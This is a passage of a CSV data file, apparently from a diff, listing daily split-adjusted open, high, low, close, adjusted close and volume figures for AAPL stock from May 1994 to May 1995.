-1994-05-27,1.0803571939468384,1.0982142686843872,1.0535714626312256,1.0691964626312256,0.9138618111610413,27171200.0,AAPL -1994-05-31,1.0535714626312256,1.0535714626312256,1.0178571939468384,1.0446428060531616,0.8928753733634949,64349600.0,AAPL -1994-06-01,1.0178571939468384,1.0223214626312256,0.9955357313156128,1.0089285373687744,0.8623495101928711,96440400.0,AAPL -1994-06-02,1.0133928060531616,1.0178571939468384,0.96875,0.9776785969734192,0.8356397151947021,96230400.0,AAPL -1994-06-03,0.96875,1.0,0.9553571343421936,0.9866071343421936,0.8432710766792297,88421200.0,AAPL -1994-06-06,0.9821428656578064,0.9910714030265808,0.9642857313156128,0.9776785969734192,0.8356397151947021,31508400.0,AAPL -1994-06-07,0.9732142686843872,0.9910714030265808,0.9732142686843872,0.9821428656578064,0.8394554853439331,35061600.0,AAPL -1994-06-08,0.9821428656578064,0.9866071343421936,0.9285714030265808,0.9330357313156128,0.7974826693534851,68541200.0,AAPL -1994-06-09,0.9151785969734192,0.9642857313156128,0.9107142686843872,0.9642857313156128,0.8241924047470093,73382400.0,AAPL -1994-06-10,0.96875,0.9776785969734192,0.9419642686843872,0.9464285969734192,0.8089298009872437,35683200.0,AAPL -1994-06-13,0.9419642686843872,0.9709821343421936,0.9419642686843872,0.9642857313156128,0.8241924047470093,23226000.0,AAPL -1994-06-14,0.9732142686843872,0.9776785969734192,0.9508928656578064,0.9665178656578064,0.8261004090309143,38589600.0,AAPL -1994-06-15,0.9642857313156128,1.0,0.9598214030265808,0.9933035969734192,0.8489945530891418,39869200.0,AAPL -1994-06-16,0.9910714030265808,0.9910714030265808,0.9330357313156128,0.9419642686843872,0.8051140308380127,54555200.0,AAPL -1994-06-17,0.9285714030265808,0.9553571343421936,0.9241071343421936,0.9464285969734192,0.8089298009872437,56123200.0,AAPL -1994-06-20,0.9375,0.9732142686843872,0.9285714030265808,0.96875,0.8280082941055298,49974400.0,AAPL -1994-06-21,0.9598214030265808,0.9732142686843872,0.9196428656578064,0.9285714030265808,0.7936670184135437,60818800.0,AAPL -1994-06-22,0.9375,0.9553571343421936,0.9285714030265808,0.9375,0.801298201084137,28464800.0,AAPL -1994-06-23,0.9375,0.9375,0.8883928656578064,0.8973214030265808,0.7669568657875061,50974000.0,AAPL -1994-06-24,0.8973214030265808,0.9330357313156128,0.8839285969734192,0.9146205186843872,0.781742513179779,73214400.0,AAPL -1994-06-27,0.9017857313156128,0.9375,0.8794642686843872,0.9375,0.801298201084137,63988400.0,AAPL -1994-06-28,0.9375,0.96875,0.9151785969734192,0.9553571343421936,0.8165610432624817,43556800.0,AAPL -1994-06-29,0.9553571343421936,0.96875,0.9241071343421936,0.9330357313156128,0.7974826693534851,33891200.0,AAPL -1994-06-30,0.9375,0.9598214030265808,0.9375,0.9464285969734192,0.8089298009872437,25432400.0,AAPL -1994-07-01,0.9419642686843872,0.9464285969734192,0.90625,0.9196428656578064,0.7860353589057922,44819600.0,AAPL -1994-07-05,0.9151785969734192,0.9553571343421936,0.9151785969734192,0.9464285969734192,0.8089298009872437,21462000.0,AAPL -1994-07-06,0.9375,0.9464285969734192,0.9285714030265808,0.9330357313156128,0.7974826693534851,24346000.0,AAPL -1994-07-07,0.9241071343421936,0.9642857313156128,0.9107142686843872,0.9575892686843872,0.8184689283370972,42537600.0,AAPL -1994-07-08,0.9464285969734192,0.9866071343421936,0.9464285969734192,0.9665178656578064,0.8261004090309143,52057600.0,AAPL -1994-07-11,0.96875,0.9776785969734192,0.9508928656578064,0.9642857313156128,0.8241924047470093,26605600.0,AAPL -1994-07-12,0.9642857313156128,1.015625,0.9419642686843872,1.0133928060531616,0.866165280342102,60578000.0,AAPL -1994-07-13,1.0178571939468384,1.0803571939468384,1.0178571939468384,1.0602678060531616,0.9062298536300659,112565600.0,AAPL -1994-07-14,1.0580357313156128,1.0625,1.0089285373687744,1.0223214626312256,0.873796820640564,45166800.0,AAPL -1994-07-15,1.0083705186843872,1.0223214626312256,0.9821428656578064,1.0089285373687744,0.8623495101928711,23741200.0,AAPL -1994-07-18,1.0044642686843872,1.0357142686843872,1.0,1.0133928060531616,0.866165280342102,19107200.0,AAPL -1994-07-19,1.0223214626312256,1.0267857313156128,0.9776785969734192,0.9888392686843872,0.8451787829399109,29092000.0,AAPL -1994-07-20,0.9776785969734192,0.9866071343421936,0.9419642686843872,0.9508928656578064,0.8127454519271851,54342400.0,AAPL -1994-07-21,0.9508928656578064,1.0178571939468384,0.9464285969734192,1.0,0.8547181487083435,72368800.0,AAPL -1994-07-22,1.1294642686843872,1.1417410373687744,1.0714285373687744,1.1071428060531616,0.9462950229644775,196644000.0,AAPL -1994-07-25,1.1116071939468384,1.1383928060531616,1.0982142686843872,1.1316964626312256,0.9672814011573792,105663600.0,AAPL -1994-07-26,1.1339285373687744,1.1428571939468384,1.1116071939468384,1.1205357313156128,0.9577420353889465,47202400.0,AAPL -1994-07-27,1.1160714626312256,1.1205357313156128,1.09375,1.109375,0.9482026696205139,33446000.0,AAPL -1994-07-28,1.1071428060531616,1.1473214626312256,1.1026785373687744,1.1383928060531616,0.9730049967765808,61328400.0,AAPL -1994-07-29,1.1383928060531616,1.2142857313156128,1.1383928060531616,1.203125,1.0283327102661133,138941600.0,AAPL -1994-08-01,1.2008928060531616,1.2053571939468384,1.1696428060531616,1.1919642686843872,1.0187935829162598,57318800.0,AAPL -1994-08-02,1.1964285373687744,1.2008928060531616,1.15625,1.1629464626312256,0.9939911961555481,67390400.0,AAPL -1994-08-03,1.1696428060531616,1.1875,1.1473214626312256,1.1830357313156128,1.0111621618270874,56711200.0,AAPL -1994-08-04,1.1830357313156128,1.2053571939468384,1.1830357313156128,1.1875,1.0149778127670288,46188800.0,AAPL -1994-08-05,1.1741071939468384,1.1919642686843872,1.1741071939468384,1.1875,1.0149778127670288,21753200.0,AAPL -1994-08-08,1.1830357313156128,1.2142857313156128,1.1785714626312256,1.2053571939468384,1.0302406549453735,35319200.0,AAPL -1994-08-09,1.1964285373687744,1.2098214626312256,1.1830357313156128,1.2008928060531616,1.0264251232147217,19650400.0,AAPL -1994-08-10,1.2008928060531616,1.2455357313156128,1.1875,1.2366071939468384,1.0569506883621216,63392000.0,AAPL -1994-08-11,1.2232142686843872,1.2544642686843872,1.2098214626312256,1.2254464626312256,1.0474116802215576,74522000.0,AAPL -1994-08-12,1.2276785373687744,1.2544642686843872,1.2098214626312256,1.2410714626312256,1.060766339302063,44912000.0,AAPL -1994-08-15,1.2410714626312256,1.25,1.2232142686843872,1.2366071939468384,1.0606170892715454,30018800.0,AAPL -1994-08-16,1.2276785373687744,1.2410714626312256,1.2142857313156128,1.2410714626312256,1.064445972442627,38934000.0,AAPL -1994-08-17,1.2455357313156128,1.2633928060531616,1.2366071939468384,1.25,1.0721033811569214,71545600.0,AAPL -1994-08-18,1.2410714626312256,1.2589285373687744,1.2321428060531616,1.2366071939468384,1.0606170892715454,51564800.0,AAPL -1994-08-19,1.2410714626312256,1.25,1.2232142686843872,1.2455357313156128,1.0682750940322876,32636800.0,AAPL -1994-08-22,1.2410714626312256,1.25,1.2366071939468384,1.2455357313156128,1.0682750940322876,38105200.0,AAPL -1994-08-23,1.2455357313156128,1.28125,1.2410714626312256,1.25,1.0721033811569214,53611600.0,AAPL -1994-08-24,1.2410714626312256,1.25,1.2276785373687744,1.2455357313156128,1.0682750940322876,42896000.0,AAPL -1994-08-25,1.2232142686843872,1.2991071939468384,1.2232142686843872,1.2522321939468384,1.0740180015563965,74698400.0,AAPL -1994-08-26,1.2589285373687744,1.2901785373687744,1.2589285373687744,1.2767857313156128,1.0950775146484375,51049600.0,AAPL -1994-08-29,1.2767857313156128,1.2901785373687744,1.2589285373687744,1.2633928060531616,1.0835908651351929,38026800.0,AAPL -1994-08-30,1.2589285373687744,1.2991071939468384,1.2544642686843872,1.2946428060531616,1.1103928089141846,45519600.0,AAPL -1994-08-31,1.2857142686843872,1.3348214626312256,1.2767857313156128,1.2924107313156128,1.1084786653518677,87959200.0,AAPL -1994-09-01,1.2633928060531616,1.2767857313156128,1.2366071939468384,1.25,1.0721033811569214,51072000.0,AAPL -1994-09-02,1.2589285373687744,1.2678571939468384,1.25,1.2633928060531616,1.0835908651351929,25326000.0,AAPL -1994-09-06,1.2589285373687744,1.2723214626312256,1.25,1.2700892686843872,1.0893338918685913,22856400.0,AAPL -1994-09-07,1.2723214626312256,1.3080357313156128,1.2633928060531616,1.2901785373687744,1.106563925743103,50974000.0,AAPL -1994-09-08,1.2857142686843872,1.2946428060531616,1.2723214626312256,1.2901785373687744,1.106563925743103,39709600.0,AAPL -1994-09-09,1.2767857313156128,1.2857142686843872,1.2633928060531616,1.2767857313156128,1.0950775146484375,39309200.0,AAPL -1994-09-12,1.2723214626312256,1.2767857313156128,1.2633928060531616,1.2767857313156128,1.0950775146484375,22635200.0,AAPL -1994-09-13,1.2767857313156128,1.2946428060531616,1.2723214626312256,1.2790178060531616,1.0969918966293335,26056800.0,AAPL -1994-09-14,1.2723214626312256,1.2767857313156128,1.25,1.2544642686843872,1.0759328603744507,24771600.0,AAPL -1994-09-15,1.2544642686843872,1.2901785373687744,1.2544642686843872,1.2857142686843872,1.1027352809906006,64738800.0,AAPL -1994-09-16,1.28125,1.3303571939468384,1.2678571939468384,1.2991071939468384,1.1142218112945557,91036400.0,AAPL -1994-09-19,1.2991071939468384,1.3125,1.2678571939468384,1.2678571939468384,1.0874196290969849,43587600.0,AAPL -1994-09-20,1.2544642686843872,1.2633928060531616,1.2276785373687744,1.234375,1.0587025880813599,49313600.0,AAPL -1994-09-21,1.2321428060531616,1.2366071939468384,1.2053571939468384,1.21875,1.045300841331482,58710400.0,AAPL -1994-09-22,1.2232142686843872,1.2232142686843872,1.2008928060531616,1.2098214626312256,1.037643313407898,36559600.0,AAPL -1994-09-23,1.2098214626312256,1.2321428060531616,1.2098214626312256,1.2120535373687744,1.0395574569702148,33219200.0,AAPL -1994-09-26,1.2098214626312256,1.2321428060531616,1.2008928060531616,1.2120535373687744,1.0395574569702148,35425600.0,AAPL -1994-09-27,1.2053571939468384,1.21875,1.1919642686843872,1.2098214626312256,1.037643313407898,27272000.0,AAPL -1994-09-28,1.2142857313156128,1.2276785373687744,1.2008928060531616,1.2098214626312256,1.037643313407898,20316800.0,AAPL -1994-09-29,1.2053571939468384,1.2276785373687744,1.1919642686843872,1.21875,1.045300841331482,27344800.0,AAPL -1994-09-30,1.21875,1.2321428060531616,1.2008928060531616,1.203125,1.0318998098373413,17925600.0,AAPL -1994-10-03,1.2008928060531616,1.2053571939468384,1.1607142686843872,1.1830357313156128,1.0146695375442505,32398800.0,AAPL -1994-10-04,1.1875,1.2142857313156128,1.1785714626312256,1.2053571939468384,1.0338141918182373,40597200.0,AAPL -1994-10-05,1.2008928060531616,1.3616071939468384,1.1919642686843872,1.3526785373687744,1.160169005393982,177450000.0,AAPL -1994-10-06,1.3348214626312256,1.3387277126312256,1.2857142686843872,1.2946428060531616,1.1103928089141846,131728800.0,AAPL -1994-10-07,1.2901785373687744,1.3236607313156128,1.2678571939468384,1.3214285373687744,1.133366584777832,91098000.0,AAPL -1994-10-10,1.3258928060531616,1.4151785373687744,1.3214285373687744,1.3883928060531616,1.1908010244369507,130852400.0,AAPL -1994-10-11,1.4776785373687744,1.4955357313156128,1.40625,1.4151785373687744,1.21377432346344,210576800.0,AAPL -1994-10-12,1.4151785373687744,1.5223214626312256,1.3973214626312256,1.5044642686843872,1.2903534173965454,149329600.0,AAPL -1994-10-13,1.5223214626312256,1.53125,1.4508928060531616,1.46875,1.2597215175628662,131325600.0,AAPL -1994-10-14,1.4821428060531616,1.5,1.4598214626312256,1.46875,1.2597215175628662,44013200.0,AAPL -1994-10-17,1.4598214626312256,1.4821428060531616,1.3883928060531616,1.4196428060531616,1.2176032066345215,75997600.0,AAPL -1994-10-18,1.4508928060531616,1.4866071939468384,1.4464285373687744,1.4732142686843872,1.2635507583618164,117171600.0,AAPL -1994-10-19,1.4642857313156128,1.5044642686843872,1.4642857313156128,1.4732142686843872,1.2635507583618164,87771600.0,AAPL -1994-10-20,1.4732142686843872,1.4933035373687744,1.4464285373687744,1.4642857313156128,1.2558928728103638,54535600.0,AAPL -1994-10-21,1.4553571939468384,1.5267857313156128,1.4553571939468384,1.5223214626312256,1.3056689500808716,80676400.0,AAPL -1994-10-24,1.5267857313156128,1.5401785373687744,1.4955357313156128,1.5089285373687744,1.2941824197769165,51125200.0,AAPL -1994-10-25,1.4866071939468384,1.5223214626312256,1.4821428060531616,1.5223214626312256,1.3056689500808716,75370400.0,AAPL -1994-10-26,1.5223214626312256,1.5452009439468384,1.5223214626312256,1.5446428060531616,1.3248136043548584,49193200.0,AAPL -1994-10-27,1.5446428060531616,1.5625,1.5178571939468384,1.5267857313156128,1.3094980716705322,39852400.0,AAPL -1994-10-28,1.5133928060531616,1.53125,1.4910714626312256,1.5044642686843872,1.2903534173965454,68331200.0,AAPL -1994-10-31,1.5,1.5491071939468384,1.4821428060531616,1.5424107313156128,1.3228994607925415,88975600.0,AAPL -1994-11-01,1.53125,1.5530134439468384,1.5133928060531616,1.5401785373687744,1.3209848403930664,54524400.0,AAPL -1994-11-02,1.5401785373687744,1.5446428060531616,1.4776785373687744,1.4776785373687744,1.267379641532898,54686800.0,AAPL -1994-11-03,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.27120840549469,27630400.0,AAPL -1994-11-04,1.4821428060531616,1.4866071939468384,1.4285714626312256,1.4419642686843872,1.2367479801177979,48011600.0,AAPL -1994-11-07,1.4419642686843872,1.4732142686843872,1.4330357313156128,1.4553571939468384,1.2482351064682007,28260400.0,AAPL -1994-11-08,1.4508928060531616,1.5223214626312256,1.4375,1.5089285373687744,1.2941824197769165,87242400.0,AAPL -1994-11-09,1.5267857313156128,1.5357142686843872,1.4642857313156128,1.4866071939468384,1.2750377655029297,101584000.0,AAPL -1994-11-10,1.4910714626312256,1.4955357313156128,1.4642857313156128,1.4754464626312256,1.2654653787612915,38245200.0,AAPL -1994-11-11,1.4732142686843872,1.4821428060531616,1.4642857313156128,1.46875,1.2597215175628662,15568000.0,AAPL -1994-11-14,1.4732142686843872,1.5267857313156128,1.4732142686843872,1.5178571939468384,1.301839828491211,34907600.0,AAPL -1994-11-15,1.5178571939468384,1.5357142686843872,1.4732142686843872,1.4776785373687744,1.267379641532898,41904800.0,AAPL -1994-11-16,1.4553571939468384,1.484375,1.4508928060531616,1.4620535373687744,1.2539782524108887,46849600.0,AAPL -1994-11-17,1.4598214626312256,1.4642857313156128,1.4241071939468384,1.4285714626312256,1.2252616882324219,37609600.0,AAPL -1994-11-18,1.4285714626312256,1.4464285373687744,1.4151785373687744,1.4285714626312256,1.2289520502090454,36758400.0,AAPL -1994-11-21,1.4285714626312256,1.4375,1.3571428060531616,1.3616071939468384,1.1713448762893677,50649200.0,AAPL -1994-11-22,1.3482142686843872,1.3973214626312256,1.3303571939468384,1.3348214626312256,1.1483017206192017,56084000.0,AAPL -1994-11-23,1.3214285373687744,1.3526785373687744,1.2991071939468384,1.3169642686843872,1.1329401731491089,81953200.0,AAPL -1994-11-25,1.3169642686843872,1.3482142686843872,1.3125,1.3482142686843872,1.1598231792449951,21056000.0,AAPL -1994-11-28,1.34375,1.3660714626312256,1.3325892686843872,1.3504464626312256,1.1617432832717896,34669600.0,AAPL -1994-11-29,1.3571428060531616,1.375,1.3482142686843872,1.3660714626312256,1.1751854419708252,36033200.0,AAPL -1994-11-30,1.3705357313156128,1.40625,1.3214285373687744,1.3303571939468384,1.1444615125656128,78008000.0,AAPL -1994-12-01,1.3214285373687744,1.34375,1.2857142686843872,1.2924107313156128,1.1118170022964478,77330400.0,AAPL -1994-12-02,1.3035714626312256,1.3125,1.2723214626312256,1.3058035373687744,1.1233386993408203,43064000.0,AAPL -1994-12-05,1.3035714626312256,1.3348214626312256,1.2901785373687744,1.328125,1.1425410509109497,45068800.0,AAPL -1994-12-06,1.3214285373687744,1.3705357313156128,1.3169642686843872,1.3415178060531616,1.1540621519088745,59522400.0,AAPL -1994-12-07,1.3392857313156128,1.3504464626312256,1.2879464626312256,1.3080357313156128,1.1252591609954834,34325200.0,AAPL -1994-12-08,1.3169642686843872,1.3214285373687744,1.2767857313156128,1.28125,1.102216362953186,42464800.0,AAPL -1994-12-09,1.28125,1.2991071939468384,1.2410714626312256,1.2946428060531616,1.11373770236969,65181200.0,AAPL -1994-12-12,1.2991071939468384,1.3125,1.2678571939468384,1.3035714626312256,1.1214184761047363,56019600.0,AAPL -1994-12-13,1.3080357313156128,1.3191964626312256,1.2946428060531616,1.2991071939468384,1.1175780296325684,29800400.0,AAPL -1994-12-14,1.3035714626312256,1.3616071939468384,1.3035714626312256,1.3526785373687744,1.163663387298584,77856800.0,AAPL -1994-12-15,1.3571428060531616,1.3705357313156128,1.3169642686843872,1.3258928060531616,1.1406211853027344,56898800.0,AAPL -1994-12-16,1.3303571939468384,1.3482142686843872,1.3125,1.3303571939468384,1.1444615125656128,44945600.0,AAPL -1994-12-19,1.3303571939468384,1.40625,1.3303571939468384,1.3973214626312256,1.2020684480667114,83204800.0,AAPL -1994-12-20,1.3973214626312256,1.4017857313156128,1.3705357313156128,1.375,1.182866096496582,43786400.0,AAPL -1994-12-21,1.3526785373687744,1.375,1.3392857313156128,1.3705357313156128,1.179025650024414,39359600.0,AAPL -1994-12-22,1.375,1.3883928060531616,1.3660714626312256,1.3794642686843872,1.18670654296875,33269600.0,AAPL -1994-12-23,1.375,1.40625,1.375,1.3883928060531616,1.194387435913086,23472400.0,AAPL -1994-12-27,1.4017857313156128,1.4196428060531616,1.3883928060531616,1.3973214626312256,1.2020684480667114,20479200.0,AAPL -1994-12-28,1.3973214626312256,1.4017857313156128,1.3660714626312256,1.3973214626312256,1.2020684480667114,22290800.0,AAPL -1994-12-29,1.4017857313156128,1.4241071939468384,1.3973214626312256,1.4107142686843872,1.2135899066925049,30335200.0,AAPL -1994-12-30,1.40625,1.4241071939468384,1.3839285373687744,1.3928571939468384,1.198227882385254,18272800.0,AAPL -1995-01-03,1.3883928060531616,1.3883928060531616,1.3526785373687744,1.3705357313156128,1.179025650024414,25967200.0,AAPL -1995-01-04,1.3794642686843872,1.4151785373687744,1.3794642686843872,1.40625,1.209749460220337,39670400.0,AAPL -1995-01-05,1.4017857313156128,1.40625,1.3839285373687744,1.3883928060531616,1.194387435913086,18410000.0,AAPL -1995-01-06,1.4866071939468384,1.5401785373687744,1.46875,1.5,1.2903996706008911,269155600.0,AAPL -1995-01-09,1.4866071939468384,1.4955357313156128,1.4642857313156128,1.4715402126312256,1.2659167051315308,68521600.0,AAPL -1995-01-10,1.4732142686843872,1.5714285373687744,1.4732142686843872,1.5602678060531616,1.342246174812317,153697600.0,AAPL -1995-01-11,1.5625,1.7165178060531616,1.5245535373687744,1.6696428060531616,1.4363374710083008,218456000.0,AAPL -1995-01-12,1.6473214626312256,1.65625,1.5982142686843872,1.6205357313156128,1.3940924406051636,137944800.0,AAPL -1995-01-13,1.6473214626312256,1.6473214626312256,1.5848214626312256,1.6026785373687744,1.3787304162979126,87844400.0,AAPL -1995-01-16,1.6026785373687744,1.6160714626312256,1.5803571939468384,1.5892857313156128,1.3672090768814087,47244400.0,AAPL -1995-01-17,1.5892857313156128,1.625,1.5758928060531616,1.6071428060531616,1.382570743560791,82527200.0,AAPL -1995-01-18,1.6071428060531616,1.6294642686843872,1.5982142686843872,1.6294642686843872,1.4017730951309204,31914400.0,AAPL -1995-01-19,1.625,1.6428571939468384,1.6071428060531616,1.6383928060531616,1.4094544649124146,78573600.0,AAPL -1995-01-20,1.6785714626312256,1.6785714626312256,1.5178571939468384,1.5223214626312256,1.30960214138031,250090400.0,AAPL -1995-01-23,1.4955357313156128,1.5223214626312256,1.4642857313156128,1.5089285373687744,1.298080325126648,99635200.0,AAPL -1995-01-24,1.5089285373687744,1.5133928060531616,1.4776785373687744,1.4866071939468384,1.2788783311843872,54524400.0,AAPL -1995-01-25,1.4107142686843872,1.5,1.4107142686843872,1.4637277126312256,1.2591956853866577,129267600.0,AAPL -1995-01-26,1.4598214626312256,1.4821428060531616,1.4017857313156128,1.4107142686843872,1.2135899066925049,61597200.0,AAPL -1995-01-27,1.4241071939468384,1.4419642686843872,1.3928571939468384,1.4241071939468384,1.2251116037368774,74642400.0,AAPL -1995-01-30,1.4330357313156128,1.4464285373687744,1.4241071939468384,1.4330357313156128,1.2327923774719238,57646400.0,AAPL -1995-01-31,1.4464285373687744,1.4598214626312256,1.4285714626312256,1.4419642686843872,1.2404732704162598,53194400.0,AAPL -1995-02-01,1.4553571939468384,1.4553571939468384,1.4241071939468384,1.4330357313156128,1.2327923774719238,39592000.0,AAPL -1995-02-02,1.4330357313156128,1.4955357313156128,1.4330357313156128,1.4866071939468384,1.2788783311843872,50895600.0,AAPL -1995-02-03,1.5,1.5044642686843872,1.4419642686843872,1.4464285373687744,1.2443140745162964,79802800.0,AAPL -1995-02-06,1.4553571939468384,1.4553571939468384,1.4107142686843872,1.4464285373687744,1.2443140745162964,60757200.0,AAPL -1995-02-07,1.4419642686843872,1.4642857313156128,1.4285714626312256,1.4575892686843872,1.2539149522781372,50400000.0,AAPL -1995-02-08,1.4642857313156128,1.5133928060531616,1.4598214626312256,1.5111607313156128,1.300000786781311,100716000.0,AAPL -1995-02-09,1.5044642686843872,1.5669642686843872,1.5044642686843872,1.5580357313156128,1.3403258323669434,118848800.0,AAPL -1995-02-10,1.5580357313156128,1.578125,1.5491071939468384,1.5625,1.3441658020019531,87740800.0,AAPL -1995-02-13,1.5535714626312256,1.5892857313156128,1.5446428060531616,1.5625,1.3478667736053467,70842800.0,AAPL -1995-02-14,1.5625,1.5758928060531616,1.5223214626312256,1.5334821939468384,1.322834849357605,41403600.0,AAPL -1995-02-15,1.5446428060531616,1.5535714626312256,1.5178571939468384,1.5200892686843872,1.311281681060791,46118800.0,AAPL -1995-02-16,1.5401785373687744,1.5446428060531616,1.5223214626312256,1.5424107313156128,1.33053719997406,54695200.0,AAPL -1995-02-17,1.53125,1.5357142686843872,1.5178571939468384,1.5178571939468384,1.3093563318252563,30447200.0,AAPL -1995-02-21,1.5223214626312256,1.5267857313156128,1.4598214626312256,1.4642857313156128,1.2631438970565796,75395600.0,AAPL -1995-02-22,1.4508928060531616,1.4642857313156128,1.4330357313156128,1.4575892686843872,1.2573673725128174,73354400.0,AAPL -1995-02-23,1.46875,1.4955357313156128,1.4285714626312256,1.4352678060531616,1.2381116151809692,78677200.0,AAPL -1995-02-24,1.4330357313156128,1.4419642686843872,1.375,1.3928571939468384,1.2015267610549927,142203600.0,AAPL -1995-02-27,1.3660714626312256,1.3928571939468384,1.3610490560531616,1.3660714626312256,1.1784210205078125,67202800.0,AAPL -1995-02-28,1.375,1.4241071939468384,1.3571428060531616,1.4107142686843872,1.2169312238693237,55742400.0,AAPL -1995-03-01,1.4196428060531616,1.4330357313156128,1.4079240560531616,1.4285714626312256,1.2323355674743652,56112000.0,AAPL -1995-03-02,1.4330357313156128,1.4553571939468384,1.4196428060531616,1.4285714626312256,1.2323355674743652,67186000.0,AAPL -1995-03-03,1.4196428060531616,1.453125,1.4107142686843872,1.4375,1.2400373220443726,36442000.0,AAPL -1995-03-06,1.4196428060531616,1.4285714626312256,1.4107142686843872,1.4196428060531616,1.2246332168579102,33180000.0,AAPL -1995-03-07,1.4241071939468384,1.4241071939468384,1.3660714626312256,1.3683035373687744,1.1803462505340576,37696400.0,AAPL -1995-03-08,1.3839285373687744,1.4330357313156128,1.3482142686843872,1.4129464626312256,1.218856692314148,91218400.0,AAPL -1995-03-09,1.4241071939468384,1.4419642686843872,1.40625,1.4196428060531616,1.2246332168579102,49170800.0,AAPL -1995-03-10,1.4151785373687744,1.4419642686843872,1.40625,1.4107142686843872,1.2169312238693237,34353200.0,AAPL -1995-03-13,1.4151785373687744,1.4151785373687744,1.3571428060531616,1.3616071939468384,1.1745699644088745,81438000.0,AAPL -1995-03-14,1.3660714626312256,1.3660714626312256,1.2321428060531616,1.25,1.0782933235168457,181966400.0,AAPL -1995-03-15,1.2678571939468384,1.2946428060531616,1.2455357313156128,1.25,1.0782933235168457,182742000.0,AAPL -1995-03-16,1.2589285373687744,1.2857142686843872,1.25,1.2589285373687744,1.0859954357147217,79184000.0,AAPL -1995-03-17,1.2678571939468384,1.2678571939468384,1.2455357313156128,1.2544642686843872,1.0821446180343628,53911200.0,AAPL -1995-03-20,1.2544642686843872,1.2723214626312256,1.25,1.2589285373687744,1.0859954357147217,47471200.0,AAPL -1995-03-21,1.2678571939468384,1.3125,1.2589285373687744,1.2946428060531616,1.116803765296936,76342000.0,AAPL -1995-03-22,1.2946428060531616,1.4107142686843872,1.2946428060531616,1.359375,1.1726443767547607,119786800.0,AAPL -1995-03-23,1.3526785373687744,1.3571428060531616,1.3208705186843872,1.3258928060531616,1.143761396408081,42523600.0,AAPL -1995-03-24,1.3348214626312256,1.3526785373687744,1.3303571939468384,1.3482142686843872,1.163016676902771,32029200.0,AAPL -1995-03-27,1.34375,1.34375,1.3080357313156128,1.328125,1.1456871032714844,35700000.0,AAPL -1995-03-28,1.2946428060531616,1.2979910373687744,1.21875,1.2276785373687744,1.0590379238128662,172449200.0,AAPL -1995-03-29,1.2142857313156128,1.2455357313156128,1.2098214626312256,1.2276785373687744,1.0590379238128662,124219200.0,AAPL -1995-03-30,1.2366071939468384,1.2678571939468384,1.2321428060531616,1.2633928060531616,1.0898468494415283,68353600.0,AAPL -1995-03-31,1.2544642686843872,1.2723214626312256,1.2410714626312256,1.2589285373687744,1.0859954357147217,45810800.0,AAPL -1995-04-03,1.2678571939468384,1.2767857313156128,1.2544642686843872,1.2678571939468384,1.0936979055404663,38575600.0,AAPL -1995-04-04,1.2767857313156128,1.28125,1.2008928060531616,1.2098214626312256,1.043634057044983,107049600.0,AAPL -1995-04-05,1.21875,1.2410714626312256,1.2053571939468384,1.2410714626312256,1.0705915689468384,66214400.0,AAPL -1995-04-06,1.3303571939468384,1.3571428060531616,1.2689732313156128,1.3125,1.1322078704833984,180706400.0,AAPL -1995-04-07,1.3214285373687744,1.3258928060531616,1.2946428060531616,1.3125,1.1322078704833984,73931200.0,AAPL -1995-04-10,1.3169642686843872,1.3214285373687744,1.2901785373687744,1.3080357313156128,1.1283570528030396,29450400.0,AAPL -1995-04-11,1.3125,1.3526785373687744,1.3080357313156128,1.3482142686843872,1.163016676902771,53628400.0,AAPL -1995-04-12,1.3660714626312256,1.4151785373687744,1.3348214626312256,1.3928571939468384,1.2015267610549927,118678000.0,AAPL -1995-04-13,1.4017857313156128,1.4017857313156128,1.3526785373687744,1.3660714626312256,1.1784210205078125,43590400.0,AAPL -1995-04-17,1.3616071939468384,1.40625,1.3526785373687744,1.3705357313156128,1.182271957397461,52203200.0,AAPL -1995-04-18,1.375,1.3794642686843872,1.3392857313156128,1.3392857313156128,1.155314564704895,57783600.0,AAPL -1995-04-19,1.3392857313156128,1.3392857313156128,1.2723214626312256,1.2991071939468384,1.1206549406051636,69857200.0,AAPL -1995-04-20,1.3258928060531616,1.375,1.3080357313156128,1.34375,1.1591655015945435,82376000.0,AAPL -1995-04-21,1.3303571939468384,1.4107142686843872,1.3258928060531616,1.3973214626312256,1.2053780555725098,166656000.0,AAPL -1995-04-24,1.3928571939468384,1.4151785373687744,1.375,1.3928571939468384,1.2015267610549927,68059600.0,AAPL -1995-04-25,1.3973214626312256,1.40625,1.3303571939468384,1.3482142686843872,1.163016676902771,68409600.0,AAPL -1995-04-26,1.34375,1.3839285373687744,1.3348214626312256,1.3660714626312256,1.1784210205078125,57610000.0,AAPL -1995-04-27,1.375,1.375,1.3482142686843872,1.3526785373687744,1.1668674945831299,34966400.0,AAPL -1995-04-28,1.3571428060531616,1.3705357313156128,1.3392857313156128,1.3660714626312256,1.1784210205078125,48829200.0,AAPL -1995-05-01,1.3660714626312256,1.3839285373687744,1.3571428060531616,1.3660714626312256,1.1784210205078125,44489200.0,AAPL -1995-05-02,1.3660714626312256,1.3705357313156128,1.3392857313156128,1.3616071939468384,1.1745699644088745,30002000.0,AAPL -1995-05-03,1.3660714626312256,1.3794642686843872,1.3571428060531616,1.3616071939468384,1.1745699644088745,42196000.0,AAPL -1995-05-04,1.3660714626312256,1.4241071939468384,1.3571428060531616,1.375,1.1861228942871094,75910800.0,AAPL -1995-05-05,1.3839285373687744,1.3973214626312256,1.3616071939468384,1.3883928060531616,1.1976758241653442,52001600.0,AAPL -1995-05-08,1.4241071939468384,1.4642857313156128,1.4196428060531616,1.4464285373687744,1.2477397918701172,96742800.0,AAPL -1995-05-09,1.4508928060531616,1.4776785373687744,1.4285714626312256,1.4732142686843872,1.270845890045166,80732400.0,AAPL -1995-05-10,1.4821428060531616,1.4955357313156128,1.4553571939468384,1.4799107313156128,1.2766220569610596,68768000.0,AAPL -1995-05-11,1.4866071939468384,1.4866071939468384,1.4419642686843872,1.4642857313156128,1.2631438970565796,130905600.0,AAPL -1995-05-12,1.4598214626312256,1.5602678060531616,1.4464285373687744,1.5580357313156128,1.3440157175064087,161988400.0,AAPL -1995-05-15,1.5401785373687744,1.5625,1.5178571939468384,1.5580357313156128,1.3440157175064087,98338800.0,AAPL -1995-05-16,1.5401785373687744,1.5848214626312256,1.5178571939468384,1.5625,1.3478667736053467,83129200.0,AAPL -1995-05-17,1.5625,1.5848214626312256,1.5535714626312256,1.5714285373687744,1.3555688858032227,65786000.0,AAPL -1995-05-18,1.5758928060531616,1.5758928060531616,1.5446428060531616,1.5491071939468384,1.3363137245178223,92892800.0,AAPL -1995-05-19,1.53125,1.5625,1.5223214626312256,1.5267857313156128,1.3170586824417114,80648400.0,AAPL 